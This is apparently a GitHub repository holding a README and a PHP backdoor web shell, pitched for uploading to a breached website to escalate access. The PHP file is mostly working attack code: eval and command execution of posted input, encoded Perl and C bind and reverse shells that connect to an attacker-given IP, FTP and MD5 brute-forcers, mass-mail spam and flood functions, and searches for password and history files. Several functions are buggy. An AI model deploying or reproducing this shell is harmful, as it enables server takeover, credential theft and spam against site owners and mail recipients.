├── README.md
└── bheh_shell.php


/README.md:
--------------------------------------------------------------------------------
 1 | # bheh_php_shell
 2 | Black Hat Ethical Hacking | PHP Backdoor Shell v1.0
 3 | 
 4 | For Educational Purpose Only!
 5 | 
 6 | By SaintDruG // for Black Hat | Ethical Hacking // www.blackhatethicalhacking.com
 7 | 
 8 | A Custom PHP Web Shell, used for penetration testing.
 9 | 
10 | Purpose: When you gain access to a website, and you have the ability to upload files, uploading this file, and running it will give you a set of tools and capabilities to take over and escalate using post exploitation in a fast timely manner.
11 | 
12 | # Screenshot:
13 | ![alt text](https://blackhatethicalhacking.com/Bheh_Wev_shell.png)
14 | 
15 | # Black Hat Ethical Hacking
16 | 
17 | ![alt text](https://avatars1.githubusercontent.com/u/13942386?s=460&v=4)
18 | 


--------------------------------------------------------------------------------
/bheh_shell.php:
--------------------------------------------------------------------------------
   1 | <?php
   2 | $auth = 0;
   3 | 
   4 | 
   5 | 
   6 | ini_set("session.gc_maxlifetime",1);
   7 | session_start();
   8 | error_reporting(0);
   9 | safe_mode();
  10 | $name="9b534ea55d0b82c3a7e80003a84b6865";     //login = 'mylogin'
  11 | $pass="a029d0df84eb5549c641e04a9ef389e5";     //pass  = 'mypass'
  12 | if($auth == 1){
  13 | if (!isset($HTTP_SERVER_VARS['PHP_AUTH_USER']) || md5($HTTP_SERVER_VARS['PHP_AUTH_USER'])!=$name || md5($HTTP_SERVER_VARS['PHP_AUTH_PW'])!=$pass)
  14 |    {
  15 |    header("WWW-Authenticate: Basic realm=\"PanelAccess\"");
  16 |    header("HTTP/1.0 401 Unauthorized");
  17 |    exit("Access Denied");
  18 |    }
  19 | }
  20 | 
  21 | if($_GET['kill']=='yes')
  22 | {
  23 | unlink($_SERVER['SCRIPT_FILENAME']);
  24 | echo "<script>alert('Your shell script was succefully deleted!')</script>";
  25 | }
  26 | 
  27 | 
  28 | function md5_brute($hash,$log,$dict)
  29 | {
  30 | ignore_user_abort(1);
  31 | set_time_limit(0);
  32 | 
  33 | $fl = fopen($dict, "r");
  34 | $fl = fopen($log, "w");
  35 | $count = 0;
  36 | if(!$dict){
  37 | return "Fill 'dictionary_file' field!";
  38 | }if(!$log){
  39 | return "Fill 'log_file' field!";
  40 | }elseif(!strlen($hash) == 0){
  41 | return "Fill 'md5_hash' field!";
  42 | }else{
  43 | 	while(!$feof($dict)){
  44 | 		$pass = fgets($dict);
  45 | 		$brute_hash = md5($pass);
  46 | 		if($brute_hash == $hash){
  47 | 			fputs($log, "$hash:$pass\n---");
  48 | 			fclose($dict);
  49 | 			fclose($log);
  50 | 			exit;
  51 | 		}else{
  52 | 			$count = $count + 1;
  53 | 			fputs($log, "$count passwords was bruted...");
  54 | 		}
  55 | 	}
  56 | 	fputs($log, "$count passwords are failed!");
  57 | }
  58 | fclose($dict);
  59 | fclose($log);
  60 | }
  61 | 
  62 | function port_bind($port,$pass,$method)
  63 | {
  64 | $perl = "IyEvdXNyL2Jpbi9wZXJsDQokU0hFTEw9Ii9iaW4vYmFzaCAtaSI7DQppZiAoQEFSR1YgPCAxKSB7IGV4aXQoMSk7IH0NCiRMS
  65 | VNURU5fUE9SVD0kQVJHVlswXTsNCnVzZSBTb2NrZXQ7DQokcHJvdG9jb2w9Z2V0cHJvdG9ieW5hbWUoJ3RjcCcpOw0Kc29ja2V0KFMsJlBGX0lORVQs
  66 | JlNPQ0tfU1RSRUFNLCRwcm90b2NvbCkgfHwgZGllICJDYW50IGNyZWF0ZSBzb2NrZXRcbiI7DQpzZXRzb2Nrb3B0KFMsU09MX1NPQ0tFVCxTT19SRVV
  67 | TRUFERFIsMSk7DQpiaW5kKFMsc29ja2FkZHJfaW4oJExJU1RFTl9QT1JULElOQUREUl9BTlkpKSB8fCBkaWUgIkNhbnQgb3BlbiBwb3J0XG4iOw0KbG
  68 | lzdGVuKFMsMykgfHwgZGllICJDYW50IGxpc3RlbiBwb3J0XG4iOw0Kd2hpbGUoMSkNCnsNCmFjY2VwdChDT05OLFMpOw0KaWYoISgkcGlkPWZvcmspK
  69 | Q0Kew0KZGllICJDYW5ub3QgZm9yayIgaWYgKCFkZWZpbmVkICRwaWQpOw0Kb3BlbiBTVERJTiwiPCZDT05OIjsNCm9wZW4gU1RET1VULCI+JkNPTk4i
  70 | Ow0Kb3BlbiBTVERFUlIsIj4mQ09OTiI7DQpleGVjICRTSEVMTCB8fCBkaWUgcHJpbnQgQ09OTiAiQ2FudCBleGVjdXRlICRTSEVMTFxuIjsNCmNsb3N
  71 | lIENPTk47DQpleGl0IDA7DQp9DQp9";
  72 | $c = "I2luY2x1ZGUgPHN0ZGlvLmg+DQojaW5jbHVkZSA8c3RyaW5nLmg+DQojaW5jbHVkZSA8c3lzL3R5cGVzLmg+DQojaW5jbHVkZS
  73 | A8c3lzL3NvY2tldC5oPg0KI2luY2x1ZGUgPG5ldGluZXQvaW4uaD4NCiNpbmNsdWRlIDxlcnJuby5oPg0KaW50IG1haW4oYXJnYyxhcmd2KQ0KaW50I
  74 | GFyZ2M7DQpjaGFyICoqYXJndjsNCnsgIA0KIGludCBzb2NrZmQsIG5ld2ZkOw0KIGNoYXIgYnVmWzMwXTsNCiBzdHJ1Y3Qgc29ja2FkZHJfaW4gcmVt
  75 | b3RlOw0KIGlmKGZvcmsoKSA9PSAwKSB7IA0KIHJlbW90ZS5zaW5fZmFtaWx5ID0gQUZfSU5FVDsNCiByZW1vdGUuc2luX3BvcnQgPSBodG9ucyhhdG9
  76 | pKGFyZ3ZbMV0pKTsNCiByZW1vdGUuc2luX2FkZHIuc19hZGRyID0gaHRvbmwoSU5BRERSX0FOWSk7IA0KIHNvY2tmZCA9IHNvY2tldChBRl9JTkVULF
  77 | NPQ0tfU1RSRUFNLDApOw0KIGlmKCFzb2NrZmQpIHBlcnJvcigic29ja2V0IGVycm9yIik7DQogYmluZChzb2NrZmQsIChzdHJ1Y3Qgc29ja2FkZHIgK
  78 | ikmcmVtb3RlLCAweDEwKTsNCiBsaXN0ZW4oc29ja2ZkLCA1KTsNCiB3aGlsZSgxKQ0KICB7DQogICBuZXdmZD1hY2NlcHQoc29ja2ZkLDAsMCk7DQog
  79 | ICBkdXAyKG5ld2ZkLDApOw0KICAgZHVwMihuZXdmZCwxKTsNCiAgIGR1cDIobmV3ZmQsMik7DQogICB3cml0ZShuZXdmZCwiUGFzc3dvcmQ6IiwxMCk
  80 | 7DQogICByZWFkKG5ld2ZkLGJ1ZixzaXplb2YoYnVmKSk7DQogICBpZiAoIWNocGFzcyhhcmd2WzJdLGJ1ZikpDQogICBzeXN0ZW0oImVjaG8gd2VsY2
  81 | 9tZSB0byByNTcgc2hlbGwgJiYgL2Jpbi9iYXNoIC1pIik7DQogICBlbHNlDQogICBmcHJpbnRmKHN0ZGVyciwiU29ycnkiKTsNCiAgIGNsb3NlKG5ld
  82 | 2ZkKTsNCiAgfQ0KIH0NCn0NCmludCBjaHBhc3MoY2hhciAqYmFzZSwgY2hhciAqZW50ZXJlZCkgew0KaW50IGk7DQpmb3IoaT0wO2k8c3RybGVuKGVu
  83 | dGVyZWQpO2krKykgDQp7DQppZihlbnRlcmVkW2ldID09ICdcbicpDQplbnRlcmVkW2ldID0gJ1wwJzsgDQppZihlbnRlcmVkW2ldID09ICdccicpDQp
  84 | lbnRlcmVkW2ldID0gJ1wwJzsNCn0NCmlmICghc3RyY21wKGJhc2UsZW50ZXJlZCkpDQpyZXR1cm4gMDsNCn0=";
  85 | 
  86 | if($method=='Perl')
  87 | 	{
  88 | 		fputs($i=fopen('/tmp/shlbck','w'),base64_decode($perl));
  89 | 		fclose($i);
  90 | 		ex(which("perl")." /tmp/shlbck ".$port." &");
  91 | 		unlink("/tmp/shlbck");
  92 | 		return ex('ps -aux | grep shlbck');
  93 | 	}
  94 | elseif($method=='C#')
  95 | 	{
  96 | 		fputs($i=fopen('/tmp/shlbck.c','w'),base64_decode($c));
  97 | 		fclose($i);
  98 | 		ex("gcc shlbck.c -o shlbck");
  99 | 		unlink('shlbck.c');
 100 | 		ex("/tmp/shlbck ".$port." ".$pass." &");
 101 | 		unlink("/tmp/shlbck");
 102 | 		return ex('ps -aux | grep shlbck');
 103 | 	}else
 104 | 	{
 105 | 	return 'Choose method';
 106 | 	}
 107 | 
 108 | }
 109 | 
 110 | function backconnect($ip,$port,$method)
 111 | {
 112 | $perl = "IyEvdXNyL2Jpbi9wZXJsDQp1c2UgU29ja2V0Ow0KJGNtZD0gImx5bngiOw0KJHN5c3RlbT0gJ2VjaG8gImB1bmFtZSAtYWAiO2Vj
 113 | aG8gImBpZGAiOy9iaW4vc2gnOw0KJDA9JGNtZDsNCiR0YXJnZXQ9JEFSR1ZbMF07DQokcG9ydD0kQVJHVlsxXTsNCiRpYWRkcj1pbmV0X2F0b24oJHR
 114 | hcmdldCkgfHwgZGllKCJFcnJvcjogJCFcbiIpOw0KJHBhZGRyPXNvY2thZGRyX2luKCRwb3J0LCAkaWFkZHIpIHx8IGRpZSgiRXJyb3I6ICQhXG4iKT
 115 | sNCiRwcm90bz1nZXRwcm90b2J5bmFtZSgndGNwJyk7DQpzb2NrZXQoU09DS0VULCBQRl9JTkVULCBTT0NLX1NUUkVBTSwgJHByb3RvKSB8fCBkaWUoI
 116 | kVycm9yOiAkIVxuIik7DQpjb25uZWN0KFNPQ0tFVCwgJHBhZGRyKSB8fCBkaWUoIkVycm9yOiAkIVxuIik7DQpvcGVuKFNURElOLCAiPiZTT0NLRVQi
 117 | KTsNCm9wZW4oU1RET1VULCAiPiZTT0NLRVQiKTsNCm9wZW4oU1RERVJSLCAiPiZTT0NLRVQiKTsNCnN5c3RlbSgkc3lzdGVtKTsNCmNsb3NlKFNUREl
 118 | OKTsNCmNsb3NlKFNURE9VVCk7DQpjbG9zZShTVERFUlIpOw==";
 119 | 
 120 | $c = "I2luY2x1ZGUgPHN0ZGlvLmg+DQojaW5jbHVkZSA8c3lzL3NvY2tldC5oPg0KI2luY2x1ZGUgPG5ldGluZXQvaW4uaD4NCmludC
 121 | BtYWluKGludCBhcmdjLCBjaGFyICphcmd2W10pDQp7DQogaW50IGZkOw0KIHN0cnVjdCBzb2NrYWRkcl9pbiBzaW47DQogY2hhciBybXNbMjFdPSJyb
 122 | SAtZiAiOyANCiBkYWVtb24oMSwwKTsNCiBzaW4uc2luX2ZhbWlseSA9IEFGX0lORVQ7DQogc2luLnNpbl9wb3J0ID0gaHRvbnMoYXRvaShhcmd2WzJd
 123 | KSk7DQogc2luLnNpbl9hZGRyLnNfYWRkciA9IGluZXRfYWRkcihhcmd2WzFdKTsgDQogYnplcm8oYXJndlsxXSxzdHJsZW4oYXJndlsxXSkrMStzdHJ
 124 | sZW4oYXJndlsyXSkpOyANCiBmZCA9IHNvY2tldChBRl9JTkVULCBTT0NLX1NUUkVBTSwgSVBQUk9UT19UQ1ApIDsgDQogaWYgKChjb25uZWN0KGZkLC
 125 | Aoc3RydWN0IHNvY2thZGRyICopICZzaW4sIHNpemVvZihzdHJ1Y3Qgc29ja2FkZHIpKSk8MCkgew0KICAgcGVycm9yKCJbLV0gY29ubmVjdCgpIik7D
 126 | QogICBleGl0KDApOw0KIH0NCiBzdHJjYXQocm1zLCBhcmd2WzBdKTsNCiBzeXN0ZW0ocm1zKTsgIA0KIGR1cDIoZmQsIDApOw0KIGR1cDIoZmQsIDEp
 127 | Ow0KIGR1cDIoZmQsIDIpOw0KIGV4ZWNsKCIvYmluL3NoIiwic2ggLWkiLCBOVUxMKTsNCiBjbG9zZShmZCk7IA0KfQ==";
 128 | 
 129 | if($method=='Perl')
 130 | 	{
 131 | 		fputs($i=fopen('/tmp/shlbck','w'),base64_decode($perl));
 132 | 		fclose($i);
 133 | 		ex(which("perl")." /tmp/shlbck ".$ip." ".$port." &");
 134 | 		unlink("/tmp/shlbck");
 135 | 		return ex('netstat -an | grep -i listen');
 136 | 	}
 137 | elseif($method=='C#')
 138 | 	{
 139 | 		fputs($i=fopen('/tmp/shlbck.c','w'),base64_decode($c));
 140 | 		fclose($i);
 141 | 		ex("gcc shlbck.c -o shlbck");
 142 | 		unlink('shlbck.c');
 143 | 		ex("/tmp/shlbck ".$ip." ".$port." &");
 144 | 		unlink("/tmp/shlbck");
 145 | 		return ex('netstat -an | grep -i listen');
 146 | 	}else
 147 | 	{
 148 | 	return 'Choose method';
 149 | 	}
 150 | }
 151 | 
 152 | if($_POST['type']==11){download(stripslashes($_POST['value']));};
 153 | 
 154 | function download($dfilename)
 155 | {
 156 | 	$file=fopen($dfilename,"r");
 157 | 	ob_clean();
 158 |     $filename = basename($dfilename);
 159 |     $filedump = fread($file,@filesize($dfilename));
 160 |     fclose($file);
 161 |     header("Content-type: ".$mime_type);
 162 |     header("Content-disposition: attachment; filename=\"".$filename."\";");   
 163 |     echo $filedump;
 164 | }
 165 | 
 166 | function flooder($logf,$to,$from,$subject,$msg,$amount,$check)
 167 | {
 168 | ignore_user_abort(1);
 169 | set_time_limit(0);
 170 | 
 171 | $fl = fopen($logf, "w");
 172 | $count = 0;
 173 | if(!$logf){
 174 | return "Fill 'log_file' field!";
 175 | }elseif(!$to){
 176 | return "Fill 'Send to' field!";
 177 | }elseif(!$from){
 178 | return "Fill 'From' field!";
 179 | }elseif(!$subject){
 180 | return "Fill 'Subject' field!";
 181 | }elseif(!$msg){
 182 | return "Fill 'Message' field!";
 183 | }elseif(!$amount){
 184 | return "Fill 'Amount' field!";
 185 | }else{
 186 | 	while($count < $amount){
 187 | 		mail("$to", "$subject", "$msg", "From: $from");
 188 | 		$count = $count + 1;
 189 | 		$fl = fopen($logf, "w");
 190 | 		fputs($fl, "$count flood-letters was sended...");
 191 | 		fclose($fl);	
 192 | 	}
 193 | 	if(strlen($check) != 0){
 194 | 		$check_text = "Done! $count flood-letters was sended!";
 195 | 		$check_sub = 'Check';
 196 | 		mail("$check", "$check_sub", "$check_text", "From: $from");
 197 | 		$fl = fopen($logf, "w");
 198 | 		fputs($fl, "Done! $count flood-letters was sended!");
 199 | 	}
 200 | 	else{
 201 | 		$fl = fopen($logf, "w");
 202 | 		fputs($fl, "Done! $count flood-letters was sended!");
 203 | 	}
 204 | }
 205 | fclose($fl);
 206 | }
 207 | 
 208 | function ftp_brute($host,$ftp_users,$ftp_passwd,$ftp_log)
 209 | {
 210 | ignore_user_abort(1);
 211 | set_time_limit(0);
 212 | 
 213 | $fl = fopen($ftp_users, "r");
 214 | $fd = fopen($ftp_passwd, "r");
 215 | $fr = fopen($ftp_log, "a+");
 216 | if(!$host){
 217 | return "Fill 'Host' field!";
 218 | }elseif(!$ftp_users){
 219 | return "Fill 'ftp_users file' field!";
 220 | }elseif(!$ftp_passwd){
 221 | return "Fill 'ftp_passwd file' field!";
 222 | }elseif(!$ftp_log){
 223 | return "Fill 'ftp_log file' field!";
 224 | }elseif(!file_exists($ftp_users)){
 225 | return "File ".$ftp_users." doesn't exists!";
 226 | }elseif(!file_exists($ftp_passwd)){
 227 | return "File ".$ftp_passwd." doesn't exists!";
 228 | }
 229 | else{
 230 | 	while(!feof($fd)){
 231 |         	$pass = fgets($fd);
 232 |                 	while(!feof($fl)){
 233 |                         	$user = fgets($fl);
 234 |                                 $connect = ftp_connect($host);
 235 |                                 if(!$connect){
 236 |                                 	fputs($fr, "Enable connect to $host\n");
 237 |                                         exit;
 238 |                                 }else{
 239 |                                 	$auth = ftp_login($connect, $user, $pass);
 240 |                                 	if(!$auth){
 241 |                                 		ftp_quit($connect);
 242 |                                 	}
 243 |                                 	else{
 244 |                                 		fputs($fr, "$host:\n---$login:$pass\n---");
 245 |                                 		ftp_quit($connect);
 246 |                                 	} 
 247 |                                 }
 248 |                 	}
 249 | 	}
 250 | 	fputs($fr, "Done:\n");
 251 | 	fclose($fr);
 252 | }
 253 | fclose($fl);
 254 | fclose($fd);
 255 | }
 256 | 
 257 | function spammer($from,$subject,$msg,$check,$elist,$logf)
 258 | {
 259 | ignore_user_abort(1);
 260 | set_time_limit(0);
 261 | 
 262 | $fp = fopen($elist. "r");
 263 | $fl = fopen($logf, "w");
 264 | $count = 0;
 265 | if(!$from){
 266 | return "Fill 'From' field!";
 267 | }elseif(!$elist){
 268 | return "Fill 'Emails list' field!";
 269 | }elseif(!$logf){
 270 | return "Fill 'Log File' field!";
 271 | }elseif(!$msg){
 272 | return "Fill 'Message' field!";
 273 | }elseif(!$subject){
 274 | return "Fill 'Subject' field!";
 275 | }elseif(!file_exists($elist)){
 276 | return "File ".$elist." doesn't exists!";
 277 | }else{
 278 | 	while(!feof($fp)){
 279 | 		$to = fgets($fp);
 280 | 		mail("$to", "$subject", "$msg", "From: $from");
 281 | 		$count = $count + 1;
 282 | 		$fl = fopen($logf, "w");
 283 | 		fputs($fl, "$count letters was sent...");
 284 | 		fclose($fl);
 285 | 	}
 286 | 	if(strlen($check) != 0){
 287 | 		$check_text = "Done! $count letters was sent!";
 288 | 		$check_sub = 'Check';
 289 | 		mail("$check", "$check_sub", "$check_text", "From: $from");
 290 | 		$fl = fopen($logf, "w");
 291 | 		fputs($fl, "Done! $count letters was sent!\n");
 292 | 	}
 293 | 	else{
 294 | 		$fl = fopen($logf, "w");
 295 | 		fputs($fl, "Done! $count letters was sent!");
 296 | 	}
 297 | }
 298 | fclose($fp);
 299 | fclose($fl);
 300 | }
 301 | 
 302 | function alias($in)
 303 | {
 304 | if($in=="find apahce config file"){return ex('find / -type f -name httpd.conf');}
 305 | elseif($in=="find access_log files"){return ex('find / -type f -name access_log');}
 306 | elseif($in=="find error_log files"){return ex('find / -type f -name error_log');}
 307 | elseif($in=="find suid files"){return ex('find / -type f -perm -04000 -ls');}
 308 | elseif($in=="find suid files in current dir"){return ex('find . -type f -perm -04000 -ls');}
 309 | elseif($in=="find sgid files"){return ex('find / -type f -perm -02000 -ls');}
 310 | elseif($in=="find sgid files in current dir"){return ex('find . -type f -perm -02000 -ls');}
 311 | elseif($in=="find config.inc.php files"){return ex('find / -type f -name config.inc.php');}
 312 | elseif($in=="find config.inc.php files in current dir"){return ex('find . -type f -name config.inc.php');}
 313 | elseif($in=="find config* files"){return ex('find / -type f -name "config*"');}
 314 | elseif($in=="find config* files in current dir"){return ex('find . -type f -name "config*"');}
 315 | elseif($in=="find all writable files"){return ex('find / -type f -perm -2 -ls');}
 316 | elseif($in=="find all writable files in current dir"){return ex('find . -type f -perm -2 -ls');}
 317 | elseif($in=="find all writable directories"){return ex('find / -type d -perm -2 -ls');}
 318 | elseif($in=="find all writable directories in current dir"){return ex('find . -type d -perm -2 -ls');}
 319 | elseif($in=="find all writable directories and files"){return ex('find / -perm -2 -ls');}
 320 | elseif($in=="find all writable directories and files in current dir"){return ex('find . -perm -2 -ls');}
 321 | elseif($in=="find all service.pwd files"){return ex('find / -type f -name service.pwd');}
 322 | elseif($in=="find service.pwd files in current dir"){return ex('find . -type f -name service.pwd');}
 323 | elseif($in=="find all .htpasswd files"){return ex('find / -type f -name .htpasswd');}
 324 | elseif($in=="find .htpasswd files in current dir"){return ex('find . -type f -name .htpasswd');}
 325 | elseif($in=="find all .bash_history files"){return ex('find / -type f -name .bash_history');}
 326 | elseif($in=="find .bash_history files in current dir"){return ex('find . -type f -name .bash_history');}
 327 | elseif($in=="find all .mysql_history files"){return ex('find / -type f -name .mysql_history');}
 328 | elseif($in=="find .mysql_history files in current dir"){return ex('find . -type f -name .mysql_history');}
 329 | elseif($in=="find all .fetchmailrc files"){return ex('find / -type f -name .fetchmailrc');}
 330 | elseif($in=="find .fetchmailrc files in current dir"){return ex('find . -type f -name .fetchmailrc');}
 331 | elseif($in=="list file attributes on a Linux second extended file system"){return ex('lsattr -va');}
 332 | elseif($in=="show opened ports"){return ex('netstat -an | grep -i listen');}
 333 | elseif($in=="---------------------------------------------------------------------------------------------------------"){return ex('ls -la');}
 334 | }
 335 | 
 336 | function testperl()
 337 | {
 338 | 	if(ex('perl -h'))
 339 | 	{
 340 | 		return "<font size=2 color=red>ON</font>";
 341 | 	}else{
 342 | 		return "<font size=2 color=green>OFF</font>";
 343 | 	}
 344 | }
 345 | 
 346 | function testlynx()
 347 | {
 348 | 	if(ex('lynx --help'))
 349 | 	{
 350 | 		return "<font size=2 color=red>ON</font>";
 351 | 	}else{
 352 | 		return "<font size=2 color=green>OFF</font>";
 353 | 	}
 354 | }
 355 | 
 356 | 
 357 | function view_size($size)
 358 | {
 359 |  if($size >= 1073741824) {$size = @round($size / 1073741824 * 100) / 100 . " GB";}
 360 |  elseif($size >= 1048576) {$size = @round($size / 1048576 * 100) / 100 . " MB";}
 361 |  elseif($size >= 1024) {$size = @round($size / 1024 * 100) / 100 . " KB";}
 362 |  else {$size = $size . " B";}
 363 |  return $size;
 364 | }
 365 | 
 366 | function testfetch()
 367 | {
 368 | 	if(ex('fetch --help'))
 369 | 	{
 370 | 		return "<font size=2 color=red>ON</font>";
 371 | 	}else{
 372 | 		return "<font size=2 color=green>OFF</font>";
 373 | 	}
 374 | }
 375 | 
 376 | function testwget()
 377 | {
 378 | 	if(ex('wget --help'))
 379 | 	{
 380 | 		return "<font size=2 color=red>ON</font>";
 381 | 	}else{
 382 | 		return "<font size=2 color=green>OFF</font>";
 383 | 	}
 384 | }
 385 | 
 386 | function oracle()
 387 | {
 388 | 	if(function_exists('ocilogon'))
 389 | 	{
 390 | 		return "<font size=2 color=red>ON</font>";
 391 | 	}else{
 392 | 		return "<font size=2 color=green>OFF</font>";
 393 | 	}
 394 | }
 395 | 
 396 | function postgresql()
 397 | {
 398 | 	if(function_exists('pg_connect'))
 399 | 	{
 400 | 		return "<font size=2 color=red>ON</font>";
 401 | 	}else{
 402 | 		return "<font size=2 color=green>OFF</font>";
 403 | 	}
 404 | }
 405 | 
 406 | function testmssql()
 407 | {
 408 | 	if(function_exists('mssql_connect'))
 409 | 	{
 410 | 		return "<font size=2 color=red>ON</font>";
 411 | 	}else{
 412 | 		return "<font size=2 color=green>OFF</font>";
 413 | 	}
 414 | }
 415 | function testcurl()
 416 | {
 417 | 	if(function_exists('curl_version'))
 418 | 	{
 419 | 		return "<font size=2 color=red>ON</font>";
 420 | 	}else{
 421 | 		return "<font size=2 color=green>OFF</font>";
 422 | 	}
 423 | }
 424 | function testmysql()
 425 | {
 426 | 	if(function_exists('mysql_connect'))
 427 | 	{
 428 | 		return "<font size=2 color=red>ON</font>";
 429 | 	}else{
 430 | 		return "<font size=2 color=green>OFF</font>";
 431 | 	}
 432 | }
 433 | function safe_mode()
 434 | {
 435 | if(!$safe_mode && strpos(ex("echo abch0ld"),"h0ld")!=3)
 436 | 	{
 437 | 		$_SESSION['safe_mode'] = 1;
 438 | 		return "<font size=2 color=green>ON</font>";
 439 | 	}else{
 440 | 		$_SESSION['safe_mode'] = 0;
 441 | 		return "<font size=2 color=red>OFF</font>";
 442 | 	}
 443 | };
 444 | 
 445 | function ex($in)
 446 | {
 447 | $out = '';
 448 | 
 449 | 
 450 | if(function_exists('exec'))
 451 | 	{
 452 | 		exec($in,$out);
 453 | 		$out = join("\n",$out);
 454 | 	}
 455 | elseif(function_exists('passthru'))
 456 | 	{
 457 | 		ob_start();
 458 | 		passthru($in);
 459 | 		$out = ob_get_contents();
 460 | 		ob_end_clean();
 461 | 	}
 462 | elseif(function_exists('system'))
 463 | 	{
 464 | 		ob_start();
 465 | 		system($in);
 466 | 		$out = ob_get_contents();
 467 | 		ob_end_clean();
 468 | 	}
 469 | elseif(function_exists('shell_exec'))
 470 | 	{
 471 | 		$out = shell_exec($in);
 472 | 	}
 473 | elseif(is_resource($f = popen($in,"r")))
 474 |   {
 475 |    $out = "";
 476 |    while(!@feof($f)) { $out .= fread($f,1024); }
 477 |    pclose($f);
 478 |   }
 479 | return $out;
 480 | }
 481 | 
 482 | function shell()
 483 | {
 484 | if($_POST['type']==1)
 485 | 	{		
 486 | 		eval(stripslashes($_POST['value']));
 487 | 	}
 488 | elseif($_POST['type']==2)
 489 | 	{
 490 | 		pwd();
 491 | 		print_r(ex(stripslashes($_POST['value'])));
 492 | 	}
 493 | elseif($_POST['type']==3)
 494 | 	{
 495 | 		if($_SESSION['safe_mode'] == 1){
 496 | 		if(($u=safe_ex('ls -la'))!='')
 497 | 		{return $u;}else{return safe_ex('dir');};
 498 | 		
 499 | 		}else{
 500 | 		if(($u=ex('ls -la'))!='')
 501 | 		{return $u;}else{return ex('dir');};
 502 | 		}
 503 | 	}
 504 | elseif($_POST['type']==4)
 505 | 	{
 506 | 		if(file_exists(stripslashes($_POST['value'])))
 507 | 			{
 508 | 				if($safe_mode!=1){
 509 | 				echo htmlspecialchars(fread(fopen(stripslashes($_POST['value']),"rw"),filesize(stripslashes($_POST['value']))));
 510 | 				}else{
 511 | 				echo htmlspecialchars(safe_read(stripslashes($_POST['value'])));
 512 | 				};
 513 | 				$_SESSION['edit']=1;
 514 | 				$_SESSION['filename'] = $_POST['value'];
 515 | 			}else{
 516 | 				return 'File doesn\'t exists!';
 517 | 			}
 518 | 	}
 519 | elseif($_POST['type']==5)
 520 | 	{
 521 | 		fputs(fopen($_SESSION['filename'],"w"),stripslashes($_POST['value']));
 522 | 	}
 523 | elseif($_POST['type']==6)
 524 | 	{
 525 | 		$uploaddir = pwd();
 526 | 		if(!$name=$_POST['newname']){$name = $_FILES['userfile']['name'];};
 527 | 		move_uploaded_file($_FILES['userfile']['tmp_name'], $uploaddir.$name); 	
 528 | 	}
 529 | elseif($_POST['type']==7)
 530 | 	{
 531 | 		echo alias($_POST['value']);
 532 | 	}
 533 | elseif($_POST['type']==8)
 534 | 	{
 535 | 		echo spammer(stripslashes($_POST['from']),stripslashes($_POST['subject']),stripslashes($_POST['msg']),stripslashes($_POST['check']),stripslashes($_POST['elist']),stripslashes($_POST['logf']));
 536 | 	}
 537 | elseif($_POST['type']==9)
 538 | 	{
 539 | 		echo ftp_brute(stripslashes($_POST['host']),stripslashes($_POST['users']),stripslashes($_POST['passwd']),stripslashes($_POST['log']));
 540 | 	}
 541 | elseif($_POST['type']==10)
 542 | 	{
 543 | 		echo flooder(stripslashes($_POST['log']),stripslashes($_POST['to']),stripslashes($_POST['from']),stripslashes($_POST['subject']),stripslashes($_POST['msg']),stripslashes($_POST['amount']),stripslashes($_POST['check']));
 544 | 	}
 545 | elseif($_POST['type']==12)
 546 | 	{
 547 | 		echo backconnect(stripslashes($_POST['ip']),stripslashes($_POST['port']),stripslashes($_POST['method']));
 548 | 	}
 549 | elseif($_POST['type']==13)
 550 | 	{
 551 | 		echo backconnect(stripslashes($_POST['port']),stripslashes($_POST['pass']),stripslashes($_POST['method']));
 552 | 	}
 553 | elseif($_POST['type']==14)
 554 | 	{
 555 | 		echo md5_brute(stripslashes($_POST['hash']),stripslashes($_POST['log']),stripslashes($_POST['dict']));
 556 | 	}
 557 | 
 558 | else 
 559 | 	{$u = ex('ls -la');
 560 | 	 if($u == ''){return ex('dir');}else{return $u;};
 561 | 	}
 562 | 
 563 | return null;
 564 | };
 565 | 
 566 | function edit()
 567 | {
 568 | if ($_SESSION['edit'] == 1){
 569 | $_SESSION['edit']=0;
 570 | return "<br><center><input type=submit style=\"border:1px solid #00c12d;background:#636363;font-weight:bold;\" value=\"Save\"></center>";};
 571 | }
 572 | 
 573 | function getsystem()
 574 | {
 575 | 	return php_uname('s')." ".php_uname('r')." ".php_uname('v');
 576 | };	
 577 | 
 578 | function getserver()
 579 | {
 580 | 	return getenv("SERVER_SOFTWARE");
 581 | };
 582 | 
 583 | 
 584 | function getuser()
 585 | {
 586 | $out = get_current_user();	
 587 | 	if($out!="SYSTEM")
 588 | 		{
 589 | 			if(($out=ex('id'))==''){$out = "uid=".getmyuid()."(".get_current_user().") gid=".getmygid();};
 590 | 		}
 591 | return $out;
 592 | };
 593 | 
 594 | function pwd()
 595 | {
 596 | if($_POST['type']==3)
 597 | 	{
 598 | 		$_SESSION['pwd'] = stripslashes($_POST['value']);
 599 | 	}
 600 | chdir($_SESSION['pwd']);
 601 | $cwd = getcwd();
 602 | if($u=strrpos($cwd,'/'))
 603 | 	{
 604 | 		if($u!=strlen($cwd)-1){
 605 | 		return $cwd.'/';}
 606 | 		else{return $cwd;};
 607 | 	}
 608 | elseif($u=strrpos($cwd,'\\'))
 609 | 	{
 610 | 		if($u!=strlen($cwd)-1){
 611 | 		return $cwd.'\\';}
 612 | 		else{return $cwd;};
 613 | 	};
 614 | }
 615 | 
 616 | function safe_ex($in)
 617 | {
 618 | if($in){
 619 | $d=dir('.');
 620 | 
 621 |    while (false!==($file=$d->read()))
 622 |     {
 623 |      if ($file=="." || $file=="..") continue;
 624 |      @clearstatcache();
 625 |      list ($dev, $inode, $inodep, $nlink, $uid, $gid, $inodev, $size, $atime, $mtime, $ctime, $bsize) = stat($file);
 626 |      if(!$unix){ 
 627 |      echo date("d.m.Y	 H:i",$mtime)."	";
 628 |      if(@is_dir($file)) echo "  <DIR> "; else printf("% 7s ",$size);
 629 |      }
 630 |      else{ 
 631 |      $owner = @posix_getpwuid($uid);
 632 |      $grgid = @posix_getgrgid($gid);
 633 |      echo $inode." ";
 634 |      echo perms(@fileperms($file));
 635 |      printf("% 4d % 9s % 9s %7s ",$nlink,$owner['name'],$grgid['name'],$size);
 636 |      echo date("d.m.Y H:i ",$mtime);
 637 |      }
 638 |      echo "$file\n";
 639 |     }
 640 |    $d->close();
 641 | }
 642 | 
 643 | function safe_read($in)
 644 | {
 645 | echo ini_get("safe_mode");
 646 | echo ini_get("open_basedir");
 647 | include("/etc/passwd");
 648 | ini_restore("safe_mode");
 649 | ini_restore("open_basedir");
 650 | echo ini_get("safe_mode");
 651 | echo ini_get("open_basedir");
 652 | 
 653 | file_get_contents($in);
 654 | }
 655 | 
 656 | }
 657 | ?>
 658 | 
 659 | 
 660 | 
 661 | 
 662 | 
 663 | 
